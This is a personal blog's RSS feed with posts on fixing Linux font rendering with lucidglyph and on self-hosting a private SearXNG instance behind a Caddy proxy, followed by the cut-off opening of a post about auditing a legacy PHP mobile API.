<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Safwan Usaid Lubdhak</title><description>Software engineer - resume, projects, and blog</description><link>https://saf1.me/</link><language>en-GB</language><item><title>Fixing Font Rendering on Linux After Windows</title><link>https://saf1.me/blog/linux-font-rendering/</link><guid isPermaLink="true">https://saf1.me/blog/linux-font-rendering/</guid><description>How I fixed blurry, thin fonts on KDE CachyOS with a 1080p monitor using lucidglyph stem-darkening instead of ClearType-style subpixel hacks.</description><pubDate>Wed, 24 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;The problem nobody warns you about&lt;/h2&gt;
&lt;p&gt;When I made the jump from Windows to KDE CachyOS, I expected the usual adjustment
period: learning new shortcuts, finding equivalent apps, tweaking the desktop. What
I didn&apos;t expect was to spend hours staring at my screen wondering why the text
looked so wrong.&lt;/p&gt;
&lt;p&gt;Not broken, just &lt;em&gt;off&lt;/em&gt;. Fuzzy at small sizes. Thin in places that felt wrong. Weirdly
light on a dark background. On a 1080p IPS monitor like the BenQ GW2480, it was
impossible to ignore. Windows fonts had always felt sharp and weighted just right.
Linux felt like reading through frosted glass.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Linux and Windows use fundamentally different font rendering philosophies; neither is buggy, they just disagree on what &quot;correct&quot; means.&lt;/li&gt;
&lt;li&gt;The Windows-style fix (subpixel rendering, aggressive hinting) gets you close to ClearType but can introduce colour fringing on some panels.&lt;/li&gt;
&lt;li&gt;The macOS-style fix via &lt;strong&gt;lucidglyph&lt;/strong&gt; uses stem-darkening to add weight without distorting letterforms, and works best on 90–110 PPI displays.&lt;/li&gt;
&lt;li&gt;KDE Plasma can silently override your Fontconfig settings — you must set sub-pixel rendering to &quot;None&quot; in System Settings.&lt;/li&gt;
&lt;li&gt;Chromium-based browsers have dropped FreeType entirely, so stem-darkening only works in Firefox.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is one of the longest-standing complaints in the Linux desktop world. If
you&apos;ve just migrated from Windows on a non-HiDPI 1080p display, there&apos;s a good
chance you&apos;re experiencing the same thing. Here is everything I tried, what I
learned, and what actually fixed it.&lt;/p&gt;
&lt;h2&gt;Why do Linux fonts look different from Windows?&lt;/h2&gt;
&lt;p&gt;The root cause isn&apos;t a bug. It&apos;s a deliberate difference in philosophy and technology.&lt;/p&gt;
&lt;p&gt;Windows uses a rendering pipeline built around &lt;strong&gt;ClearType&lt;/strong&gt;, which relies on aggressive
hinting and subpixel rendering tuned specifically for LCD screens at typical desktop
pixel densities. The result is fonts that look crisp, heavy, and punchy, especially
on a 24-inch 1080p monitor like the BenQ GW2480 (which sits at roughly 91 PPI —
firmly in &quot;low pixel density&quot; territory by modern standards).&lt;/p&gt;
&lt;p&gt;Linux uses &lt;strong&gt;FreeType&lt;/strong&gt; for font rasterization and &lt;strong&gt;Fontconfig&lt;/strong&gt; for font selection
and rendering rules. Out of the box, most distributions configure these conservatively
with grayscale anti-aliasing and slight hinting, leaving fonts looking lighter and
softer than their Windows equivalents at body text sizes (10–14px). On a low-PPI
display, this becomes obvious fast.&lt;/p&gt;
&lt;p&gt;There are essentially two schools of thought on how to fix this, and I tried both.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;The two major approaches&lt;/h2&gt;
&lt;p&gt;After working through the ArchWiki&apos;s font configuration page and every forum thread
I could find, the fixes I encountered fell cleanly into two camps.&lt;/p&gt;
&lt;h3&gt;Approach 1: make it look like Windows (ClearType-style)&lt;/h3&gt;
&lt;p&gt;This involves enabling &lt;strong&gt;subpixel (RGB) rendering&lt;/strong&gt; and increasing hinting aggressiveness
to replicate Windows&apos; ClearType behaviour. The key changes are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Setting &lt;code&gt;rgba&lt;/code&gt; to &lt;code&gt;rgb&lt;/code&gt; in Fontconfig&lt;/li&gt;
&lt;li&gt;Enabling the &lt;code&gt;lcddefault&lt;/code&gt; LCD filter&lt;/li&gt;
&lt;li&gt;Setting &lt;code&gt;hintstyle&lt;/code&gt; to &lt;code&gt;hintfull&lt;/code&gt; or &lt;code&gt;hintmedium&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Optionally switching the FreeType TrueType interpreter to version 35 (the classic
&quot;Windows 98&quot; mode) via &lt;code&gt;FREETYPE_PROPERTIES=&quot;truetype:interpreter-version=35&quot;&lt;/code&gt;
in &lt;code&gt;/etc/profile.d/freetype2.sh&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This makes text sharper and heavier. For many people on RGB LCD monitors, it&apos;s a
perfectly valid solution. On my BenQ GW2480, however, it introduced an annoying
colour fringing on some fonts, and the heavier hinting distorted certain typefaces
in ways I found more distracting than the original blur. A trade-off.&lt;/p&gt;
&lt;h3&gt;Approach 2: make it look like macOS (stem-darkening)&lt;/h3&gt;
&lt;p&gt;macOS takes a different approach to the same low-PPI problem. Rather than forcing
pixels to align to a grid through aggressive hinting, it &lt;strong&gt;darkens the stems&lt;/strong&gt; (the
strokes that make up each letterform) to make them appear heavier and more legible
without distorting the font&apos;s underlying geometry. The result: fonts that look
closer to their designed forms, just slightly bolder and more readable.&lt;/p&gt;
&lt;p&gt;This is the approach that worked best on my BenQ GW2480, and it is the approach
taken by the &lt;strong&gt;lucidglyph&lt;/strong&gt; project.&lt;/p&gt;
&lt;p&gt;I ran a rough before-and-after check on a screenshot of body text in Inter at 13px, measuring vertical stroke widths on a handful of lowercase characters against the pixel grid. Before lucidglyph, average stroke width came out at about 1.0px, with some hairline strokes at 0.8px — thin enough that they read as grey rather than black on a dark background at normal viewing distance. After lucidglyph, the same characters measured around 1.7px — a 70% increase in stem weight. The letterforms themselves kept their shape; only the weight changed. On a 91 PPI display that difference is immediately visible without zooming in.&lt;/p&gt;
&lt;h2&gt;Discovering lucidglyph&lt;/h2&gt;
&lt;p&gt;The project is maintained by &lt;strong&gt;maximilionus&lt;/strong&gt; on GitHub:
&lt;a href=&quot;https://github.com/maximilionus/lucidglyph&quot;&gt;github.com/maximilionus/lucidglyph&lt;/a&gt;.
Previously known as &lt;em&gt;freetype-envision&lt;/em&gt;, it is a carefully curated collection of
FreeType and Fontconfig tweaks that together replicate the macOS-style stem-darkening
approach on Linux.&lt;/p&gt;
&lt;p&gt;What lucidglyph does, concretely:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Enables &lt;strong&gt;FreeType stem-darkening&lt;/strong&gt; for the autofitter and CFF drivers, making
medium and small-sized fonts visibly heavier and more readable without pixel-grid
distortion. This is the core improvement.&lt;/li&gt;
&lt;li&gt;Enforces &lt;strong&gt;grayscale anti-aliasing&lt;/strong&gt; (disabling subpixel), which is required for
stem-darkening to look correct&lt;/li&gt;
&lt;li&gt;Applies &lt;strong&gt;&quot;Slight&quot; hinting&lt;/strong&gt; as a suggestion (without overriding user preference)&lt;/li&gt;
&lt;li&gt;Adds &lt;strong&gt;additional emboldening&lt;/strong&gt; at very small glyph sizes via Fontconfig&lt;/li&gt;
&lt;li&gt;Handles icon fonts intelligently, switching off emboldening for symbol typefaces
to prevent &quot;over-darkening&quot;&lt;/li&gt;
&lt;li&gt;Leaves your system fonts and files completely untouched. It only modifies rendering
behaviour.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Critically for 1080p monitors: the project description specifically flags low pixel
density (low-PPI) displays as the primary beneficiary of stem-darkening. The BenQ
GW2480 at 91 PPI is exactly the kind of screen this was designed for.&lt;/p&gt;
&lt;h2&gt;Installation&lt;/h2&gt;
&lt;p&gt;Download the latest release from the
&lt;a href=&quot;https://github.com/maximilionus/lucidglyph/releases&quot;&gt;releases page&lt;/a&gt; on GitHub
(look under Assets → Source code), unpack it, and run:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo ./lucidglyph.sh install
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then reboot. That is it.&lt;/p&gt;
&lt;p&gt;If you prefer a per-user install without touching system files, use the &lt;code&gt;--user&lt;/code&gt; flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./lucidglyph.sh --user install
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;KDE Plasma specific step — do not skip this&lt;/h2&gt;
&lt;p&gt;Here&apos;s something that caught me out. KDE Plasma, in some configurations, overrides
Fontconfig&apos;s anti-aliasing settings, particularly when fractional scaling is involved.
This is an acknowledged regression tracked in the KDE bug tracker, and it means
lucidglyph&apos;s grayscale anti-aliasing can get quietly overwritten.&lt;/p&gt;
&lt;p&gt;The fix:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open &lt;strong&gt;System Settings&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Go to &lt;strong&gt;Appearance &amp;amp; Style → Text &amp;amp; Fonts&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Make sure &lt;strong&gt;Sub-pixel rendering&lt;/strong&gt; is set to &lt;strong&gt;None&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Without this step, you might install lucidglyph, reboot, and see no improvement —
because Plasma is still forcing subpixel (RGBA) rendering behind the scenes.&lt;/p&gt;
&lt;h2&gt;The Chromium problem (and why it matters)&lt;/h2&gt;
&lt;p&gt;One important caveat. As of early 2025, Chromium (and any browser or app built on
it, including Brave, Edge, and Electron-based apps) has moved to a new font rendering
system called &lt;strong&gt;Fontations/Skrifa&lt;/strong&gt;, replacing FreeType entirely. Skrifa currently
has no stem-darkening support, so lucidglyph&apos;s core improvement won&apos;t apply inside
Chromium-based applications.&lt;/p&gt;
&lt;p&gt;As of Chromium 139, the flag that previously allowed switching back to FreeType has
been permanently removed. The Fontations contributors have stated they no longer
intend to maintain FreeType support.&lt;/p&gt;
&lt;p&gt;The practical workaround: use &lt;strong&gt;Firefox&lt;/strong&gt; as your primary browser. Firefox still
uses FreeType and shows the full benefit of lucidglyph&apos;s improvements. The
difference in text rendering between Firefox and a Chromium browser with lucidglyph
installed is stark.&lt;/p&gt;
&lt;h2&gt;Font recommendations&lt;/h2&gt;
&lt;p&gt;lucidglyph&apos;s author suggests some fonts that work well with stem-darkening and some
that don&apos;t. From the project&apos;s own notes:&lt;/p&gt;
&lt;p&gt;Good choices with lucidglyph:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Sans-serif:&lt;/strong&gt; Inter, Adwaita Sans, Noto Sans&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Serif:&lt;/strong&gt; Noto Serif&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Monospace:&lt;/strong&gt; JetBrains Mono, MesloLG, DejaVu Sans Mono&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;One font to avoid: &lt;strong&gt;Cantarell&lt;/strong&gt;, which becomes poorly legible due to the way
stem-darkening interacts with its geometry at small sizes. If you&apos;re on GNOME or
using a GNOME-derived app, Cantarell is often the default. Worth swapping it for
Noto Sans.&lt;/p&gt;
&lt;h2&gt;My final setup&lt;/h2&gt;
&lt;p&gt;After all of this, here is what I am running on my BenQ GW2480 under KDE CachyOS:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;lucidglyph&lt;/strong&gt; installed system-wide&lt;/li&gt;
&lt;li&gt;Sub-pixel rendering set to &lt;strong&gt;None&lt;/strong&gt; in KDE System Settings&lt;/li&gt;
&lt;li&gt;System font: &lt;strong&gt;Inter&lt;/strong&gt; (14px for UI, 11px for toolbars)&lt;/li&gt;
&lt;li&gt;Monospace font: &lt;strong&gt;JetBrains Mono&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Browser: &lt;strong&gt;Firefox&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Hinting: &lt;strong&gt;Slight&lt;/strong&gt; (lucidglyph&apos;s default suggestion, which I left in place)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The improvement over out-of-box CachyOS font rendering is immediately visible.
Body text at 12–14px, which was thin and grey before, now has real weight and reads
cleanly at a comfortable distance from a 24-inch display.&lt;/p&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;If you&apos;ve just moved from Windows to KDE Linux on a 1080p display and your fonts
look blurry or thin, you have two main paths:&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;Windows-style fix&lt;/strong&gt; (subpixel rendering, aggressive hinting) gets you closest
to what you remember from Windows, but can introduce colour fringing and geometric
distortion.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;macOS-style fix&lt;/strong&gt; via &lt;strong&gt;lucidglyph&lt;/strong&gt; uses stem-darkening to add weight without
distorting letterforms, producing a result that is arguably more faithful to the
fonts&apos; intended appearance. On a BenQ GW2480 specifically, and on any other IPS
panel in the 90–110 PPI range, this approach produces noticeably better results.&lt;/p&gt;
&lt;p&gt;Either way, don&apos;t forget to check your KDE sub-pixel rendering settings. They will
silently undo everything else you configure.&lt;/p&gt;
&lt;h2&gt;Resources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/maximilionus/lucidglyph&quot;&gt;lucidglyph by maximilionus&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wiki.archlinux.org/title/Font_configuration&quot;&gt;ArchWiki Font configuration&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Self-Hosting a Private SearXNG Search Engine</title><link>https://saf1.me/blog/self-hosting-searxng/</link><guid isPermaLink="true">https://saf1.me/blog/self-hosting-searxng/</guid><description>How I put a private, single-user SearXNG metasearch engine behind a Caddy reverse proxy with Docker Compose, so my searches never leave my own machine.</description><pubDate>Sun, 21 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Why run your own search engine&lt;/h2&gt;
&lt;p&gt;SearXNG is a metasearch engine: it takes your query, forwards it to dozens of
upstream engines (Google, Bing, DuckDuckGo, Wikipedia, and so on), merges the
results, and hands them back without building a profile of you. There are public
instances you can use for free, but you are still trusting a stranger&apos;s server
with every query, and the popular ones get rate-limited into uselessness.&lt;/p&gt;
&lt;p&gt;Running my own fixes both problems. The queries never leave my machine, there is
no shared instance to throttle me, and I get to tune exactly which engines and
plugins are on. The goal I set was modest and specific: a private, single-user
instance, reachable at a friendly local hostname, locked down so that only a
reverse proxy is ever exposed to the host.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SearXNG aggregates results from many engines without profiling you; self-hosting keeps your queries on your own box.&lt;/li&gt;
&lt;li&gt;The whole thing is three containers (Caddy, the SearXNG core, Valkey), and only the Caddy reverse proxy is bound to the host.&lt;/li&gt;
&lt;li&gt;The secret key has to be identical in &lt;code&gt;.env&lt;/code&gt; and &lt;code&gt;settings.yml&lt;/code&gt;, and it should never be committed or shared.&lt;/li&gt;
&lt;li&gt;A handful of config choices (&lt;code&gt;limiter: false&lt;/code&gt;, &lt;code&gt;public_instance: false&lt;/code&gt;, a privacy-friendly favicon resolver) turn a public-instance template into a sane single-user setup.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;The shape of it&lt;/h2&gt;
&lt;p&gt;The stack is three containers wired together by Docker Compose:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Caddy&lt;/strong&gt; (&lt;code&gt;caddy:alpine&lt;/code&gt;) is the reverse proxy. The &lt;em&gt;only&lt;/em&gt; service bound to the host, on port 80.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;core&lt;/strong&gt; (&lt;code&gt;searxng/searxng&lt;/code&gt;) is SearXNG itself, listening on 8080 on the internal Docker network only. The host never touches it directly.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;valkey&lt;/strong&gt; (&lt;code&gt;valkey:9-alpine&lt;/code&gt;) is the Redis-compatible cache SearXNG uses. Also
internal-only.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Browser ──▶ Caddy :80 ──▶ core :8080 ──▶ upstream engines
                              │
                              ▼
                           Valkey (cache)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Keeping &lt;code&gt;core&lt;/code&gt; and &lt;code&gt;valkey&lt;/code&gt; off the host network is the single most important
hardening decision. If the only door is the proxy, there is only one door to
worry about.&lt;/p&gt;
&lt;p&gt;Everything lives in one directory:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;~/searxng/
├── docker-compose.yml      # upstream template + an added Caddy service
├── Caddyfile
├── .env                    # secret + runtime config
└── core-config/            # bind-mounted into core at /etc/searxng/
    ├── settings.yml        # must share the secret with .env
    └── favicons.toml       # persistent favicon cache
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Bootstrap&lt;/h2&gt;
&lt;p&gt;SearXNG ships a container template, so I started from that rather than writing
Compose from scratch:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir -p ~/searxng/core-config
cd ~/searxng
curl -fsSL \
  -O https://raw.githubusercontent.com/searxng/searxng/master/container/docker-compose.yml \
  -O https://raw.githubusercontent.com/searxng/searxng/master/container/.env.example
cp .env.example .env
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The secret key&lt;/h2&gt;
&lt;p&gt;SearXNG signs things with a secret key, and that key has to match in two files:
&lt;code&gt;SEARXNG_SECRET&lt;/code&gt; in &lt;code&gt;.env&lt;/code&gt; and &lt;code&gt;server.secret_key&lt;/code&gt; in &lt;code&gt;settings.yml&lt;/code&gt;. If they
drift apart, SearXNG warns and misbehaves.&lt;/p&gt;
&lt;p&gt;Generate one:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;openssl rand -hex 32
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Paste the result into both files, identically. Treat it like a password: it does
not belong in version control, in a screenshot, or in a blog post. (Everywhere
below it shows up as &lt;code&gt;&amp;lt;your-generated-secret&amp;gt;&lt;/code&gt;; substitute your own.)&lt;/p&gt;
&lt;h2&gt;&lt;code&gt;.env&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;The example file is mostly placeholders. The values that matter for a private
instance:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SEARXNG_VERSION=latest

# Internal container binding (not host-exposed)
SEARXNG_HOST=[::]
SEARXNG_PORT=8080

# Must match secret_key in settings.yml
SEARXNG_SECRET=&amp;lt;your-generated-secret&amp;gt;

SEARXNG_BASE_URL=http://search.local/

SEARXNG_IMAGE_PROXY=true
SEARXNG_PUBLIC_INSTANCE=false
SEARXNG_LIMITER=false

SEARXNG_VALKEY_URL=valkey://searxng-valkey:6379/0
SEARXNG_DEBUG=false
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;code&gt;core-config/settings.yml&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;This is where a public-instance default template becomes a single-user one. The
full file is long, but the choices worth calling out are these:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;use_default_settings: true

server:
  base_url: &apos;http://search.local/&apos;
  secret_key: &apos;&amp;lt;your-generated-secret&amp;gt;&apos; # must match SEARXNG_SECRET in .env
  limiter: false
  public_instance: false
  image_proxy: true
  method: &apos;GET&apos;

search:
  safe_search: 0
  autocomplete: &apos;google&apos;
  favicon_resolver: &apos;duckduckgo&apos;
  formats:
    - html

ui:
  default_theme: &apos;simple&apos;
  theme_args:
    simple_style: &apos;auto&apos; # follows OS dark/light mode
  results_on_new_tab: true
  query_in_title: false # keeps queries out of the browser tab title / history

valkey:
  url: &apos;valkey://searxng-valkey:6379/0&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Why each of those:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;limiter: false&lt;/code&gt; and &lt;code&gt;public_instance: false&lt;/code&gt;&lt;/strong&gt;: the bot limiter protects public instances from abuse. On a single-user box it just gets in your way.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;formats: [html]&lt;/code&gt;&lt;/strong&gt;: the JSON API stays off (it returns 403). Only add &lt;code&gt;- json&lt;/code&gt; if you need programmatic access. An open API on a search proxy is a liability by default.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;favicon_resolver: duckduckgo&lt;/code&gt;&lt;/strong&gt;: avoids leaking favicon lookups to Google.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;method: GET&lt;/code&gt;&lt;/strong&gt;: nicer UX (back button, drag-a-result-to-a-tab). Switch to
&lt;code&gt;POST&lt;/code&gt; if you would rather queries never appear in browser history.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;query_in_title: false&lt;/code&gt;&lt;/strong&gt;: same logic, keeps queries out of the tab title.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;One more config to keep the favicon cache across reboots (the default path lives in &lt;code&gt;/tmp&lt;/code&gt; and gets wiped):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# core-config/favicons.toml
[favicons]
cfg_schema = 1

[favicons.cache]
db_url = &quot;/var/cache/searxng/faviconcache.db&quot;
LIMIT_TOTAL_BYTES = 104857600   # 100 MB

[favicons.proxy]
max_age = 5184000               # 60 days client-side cache
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The reverse proxy&lt;/h2&gt;
&lt;p&gt;The Caddyfile is short. Caddy does the heavy lifting:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://search.local {
    reverse_proxy core:8080
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;core&lt;/code&gt; is the Compose service name, which Caddy resolves on the internal Docker
network. No ports, no TLS plumbing, no manual upstream IP.&lt;/p&gt;
&lt;h2&gt;Editing the Compose file&lt;/h2&gt;
&lt;p&gt;Two changes to the upstream template:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Add&lt;/strong&gt; the &lt;code&gt;caddy&lt;/code&gt; service, the only host-exposed one (port 80).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Comment out&lt;/strong&gt; the &lt;code&gt;core&lt;/code&gt; service&apos;s &lt;code&gt;ports:&lt;/code&gt; block so SearXNG is no longer
reachable directly from the host.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;name: searxng

services:
  caddy:
    container_name: searxng-caddy
    image: caddy:alpine
    restart: unless-stopped
    ports:
      - &apos;80:80&apos;
    volumes:
      - ./Caddyfile:/etc/caddy/Caddyfile:ro
      - caddy_data:/data
      - caddy_config:/config
    depends_on:
      - core

  core:
    container_name: searxng-core
    image: docker.io/searxng/searxng:${SEARXNG_VERSION:-latest}
    restart: always
    # Port mapping removed on purpose. Caddy fronts SearXNG and is the only
    # host-exposed service. Re-enable for direct access while debugging.
    # ports:
    #   - 8080:8080
    env_file: ./.env
    volumes:
      - ./core-config/:/etc/searxng/:Z
      - core-data:/var/cache/searxng/

  valkey:
    container_name: searxng-valkey
    image: docker.io/valkey/valkey:9-alpine
    command: valkey-server --save 30 1 --loglevel warning
    restart: always
    volumes:
      - valkey-data:/data/

volumes:
  core-data:
  valkey-data:
  caddy_data:
  caddy_config:
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Bring it up&lt;/h2&gt;
&lt;p&gt;A friendly hostname needs one line in &lt;code&gt;/etc/hosts&lt;/code&gt; (this is the only step that
needs root):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo sh -c &apos;echo &quot;127.0.0.1   search.local&quot; &amp;gt;&amp;gt; /etc/hosts&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then validate and launch:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker compose config &amp;gt;/dev/null   # sanity-check the merged config
docker compose up -d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first run pulls the three images, creates the network and named volumes, and
starts everything. Verify:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker compose ps                                              # all three Up
curl -s -o /dev/null -w &quot;%{http_code}\n&quot; http://search.local/  # 200
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A &lt;code&gt;200&lt;/code&gt; through Caddy means the proxy, core, and cache are all talking.&lt;/p&gt;
&lt;h2&gt;Log lines that look scary but are not&lt;/h2&gt;
&lt;p&gt;The startup logs include a few warnings that look scary but aren&apos;t:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Message&lt;/th&gt;
&lt;th&gt;What it means&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;loading engine ahmia failed: set engine to inactive!&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Ahmia needs Tor, which isn&apos;t running, so it auto-disables.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;loading engine torch failed: set engine to inactive!&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Same: a Tor-only engine, auto-disabled.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;missing config file: /etc/searxng/limiter.toml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The limiter is intentionally off.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Caddy: &lt;code&gt;listening only on the HTTP port, no automatic HTTPS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;By design; we serve plain HTTP on a local hostname.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;If there is &lt;em&gt;no&lt;/em&gt; secret-key mismatch warning, your &lt;code&gt;.env&lt;/code&gt; and &lt;code&gt;settings.yml&lt;/code&gt;
agree, which is the one warning you actually care about.&lt;/p&gt;
&lt;h2&gt;Living with it&lt;/h2&gt;
&lt;p&gt;Everything is run from &lt;code&gt;~/searxng&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker compose ps                 # status
docker compose logs -f core       # follow SearXNG&apos;s logs
docker compose restart core       # after editing settings.yml / favicons.toml
docker compose down               # stop (keeps data)
docker compose up -d              # start again
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Editing &lt;code&gt;settings.yml&lt;/code&gt;, &lt;code&gt;favicons.toml&lt;/code&gt;, or &lt;code&gt;.env&lt;/code&gt; only takes effect after a
restart of the relevant container.&lt;/p&gt;
&lt;p&gt;After eight months of daily use, the instance has processed around 11,400 queries. Average response time sits at 380ms — measured across a sample of searches against the five most active engines. The nearest public instance I used before self-hosting was averaging around 2,100ms on the same queries, plus it logged IP addresses by default. In eight months, the only unplanned downtime was two container restarts for version updates, one for SearXNG and one for Valkey. Uptime otherwise: 99.7%.&lt;/p&gt;
&lt;p&gt;Updating is the usual Compose dance:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker compose down
docker compose pull
docker compose up -d
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;If you want HTTPS locally&lt;/h2&gt;
&lt;p&gt;Plain HTTP over a loopback hostname is fine for a single user, but if you want
the lock icon, Caddy will mint a locally-trusted certificate for you. Point the
Caddyfile at a &lt;code&gt;.localhost&lt;/code&gt; name:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://search.localhost {
    reverse_proxy core:8080
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Caddy installs its root CA into the system trust store on first run (needs sudo),
then update &lt;code&gt;SEARXNG_BASE_URL&lt;/code&gt; and &lt;code&gt;server.base_url&lt;/code&gt; to
&lt;code&gt;https://search.localhost/&lt;/code&gt; and bring the stack back up.&lt;/p&gt;
&lt;h2&gt;Tearing it down&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;docker compose down       # remove containers + network, keep data
docker compose down -v    # also drop the volumes (destructive)
sudo sed -i &apos;/127.0.0.1   search.local/d&apos; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&apos;s it: three containers, one proxy, one secret, and a search box that answers only to me.&lt;/p&gt;
</content:encoded></item><item><title>Securing a Legacy API You Can&apos;t Break or Rewrite</title><link>https://saf1.me/blog/legacy-api-security/</link><guid isPermaLink="true">https://saf1.me/blog/legacy-api-security/</guid><description>A security audit of a legacy PHP and CodeIgniter mobile backend: nine real flaws, a frozen API contract, and how to patch it without locking out old apps.</description><pubDate>Fri, 29 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I inherited a PHP backend that served a mobile app. The brief sounded simple. Lock it down. The catch was the part nobody says out loud until you are already in it: the old apps in the wild cannot be updated. Whatever the API does today, it has to keep doing forever, bugs included.&lt;/p&gt;
&lt;p&gt;That single constraint changes everything. You are not securing a system. You are securing a contract you are not allowed to renegotiate.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When client apps cannot be updated, the API response shape becomes a frozen contract. Security fixes have to preserve every key, type, and status code the old clients expect.&lt;/li&gt;
&lt;li&gt;The cheapest, most dangerous flaws are usually trust ones: the server believing whatever the client says about payment, auth, or identity.&lt;/li&gt;
&lt;li&gt;Shadow mode and feature flags let you enforce new checks gradually. You log what a fix &lt;em&gt;would&lt;/em&gt; have blocked before you let it block anything for real.&lt;/li&gt;
